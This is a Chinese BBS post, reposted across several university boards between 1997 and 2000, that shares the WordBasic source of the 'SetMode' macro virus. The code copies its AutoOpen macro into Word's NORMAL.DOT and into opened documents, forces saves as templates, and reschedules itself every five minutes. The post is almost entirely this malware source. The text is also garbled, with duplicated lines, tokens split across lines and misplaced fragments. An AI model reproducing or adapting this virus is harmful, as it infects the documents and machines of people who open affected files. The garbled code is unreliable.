VB 版 (精华区)
发信人: bloom (├┝┞┟┠┡┢┣), 信区: VB
标 题: setmode宏
发信站: 哈工大紫丁香 (2000年07月30日16:39:37 星期天), 转信
发信人: sino (茶水博士), 信区: ShareCode
标 题: [饮水思源]SetMode 宏病毒源码
发信站: 紫 丁 香 (Thu Apr 20 21:16:04 2000), 转信
发信人: howe (无痕), 信区: sources
标 题: SetMode 宏病毒源码
发信站: 饮水思源站 (Thu Jul 17 22:43:55 1997) , 转信
The Setmode Macro Virus Contains AutoOpen Macro Only
====================================================
Sub MAIN
' set document mode
Dim dlg As FileSaveAs
MyFile$ = FileName$()
If InStr(1, MyFile$, "文档") = 1 Then
x = Dialog(dlg)
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
' dlg.Format = 0
GetCurValues dlg
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If
End If
' if it is Macro Document, then goto bye2
If IsMacro(0) = - 1 Then Goto Bye2
' if Document is new, then goto Bye1
If MyFile$ = "" Then Goto Bye1
' Save file as template
If dlg.Format = 0 Then
FileSaveAs .Name = MyFile$, .Format = 1, .LockAnnot = 0, .
Password =
"",
.AddToMru = 1, .WritePassword = "", .RecommendReadOnly = 0, .
EmbedFonts = 0,
.Na
t
ivePictureFormat = 0, .FormsData = 0, .SaveAsAOCELetter = 0
Else
' search macro AutoOpen in Normal template
normal = CountMacros(0)
OkExist = 0
For i = 1 To normal
If MacroName$(i, 0) = "AutoOpen" Then OkExist = 1
Next i
' Get normal template name
' Get normal template name
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
TemplateName$ = DefaultDir$(2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64
' copy AutoOpen to normal template
If OkExist <> 1 Then
Organizer .Copy, .Source = MyFile$, .Destination =
TemplateName$, .N
ame
=
"AutoOpen", .Tab = 3
' Organizer .Copy, .Source = MyFile$, .Destination =
TemplateName$, .N
ame
=
"SaveDoc", .Tab = 3
FileSaveAs .Name = TemplateName$, .Format = 1, .LockAnnot = 0,
.Pass
word
' search macro AutoOpen in active document
active = CountMacros(1)= 0, .FormsData = 0, .SaveAsAOCELetter = 0
OkExist = 0
For i = 1 To active
If MacroName$(i, 1) = "AutoOpen" Then OkExist = 1
Next i
' copy AutoOpen to active template
If OkExist <> 1 Then
Organizer .Copy, .Source = TemplateName$, .Destination =
MyFile$, .N
Organizer .Copy, .Source = TemplateName$, .Destination =
MyFile$, .N
ame
=
"AutoOpen", .Tab = 3
' Organizer .Copy, .Source = TemplateName$, .Destination =
MyFile$, .N
ame
=
"SaveDoc", .Tab = 3
FileSave
Bye1:f
' set document mode
dlg.Format = 0
Bye2:
' set timer to run AutoOpen again
internal = 5 / 24 / 60' internal time is 5 minutes
alarmtime = TimeValue(Time$()) + internal
alarm$ = Time$(alarmtime)
OnTime alarm$, "AutoOpen"
End Sub
e alarm$, "AutoOpen"
End Sub
--
莫
dlg.Format = 0
求
莫 无
逐 痕
有
缘
※ 来源:·饮水思源站 bbs.sjtu.edu.cn·[FROM: 202.120.26.71]
--
※ 来源:.紫 丁 香 bbs.hit.edu.cn.[FROM: 202.118.226.246]
--
※ 转寄:.哈工大紫丁香 bbs.hit.edu.cn.[FROM: jxjdadmin.hit.edu.cn]
--
├┝┞┟┠┡┢┣ ※↑
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: jxjdadmin.hit.edu.cn]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.190毫秒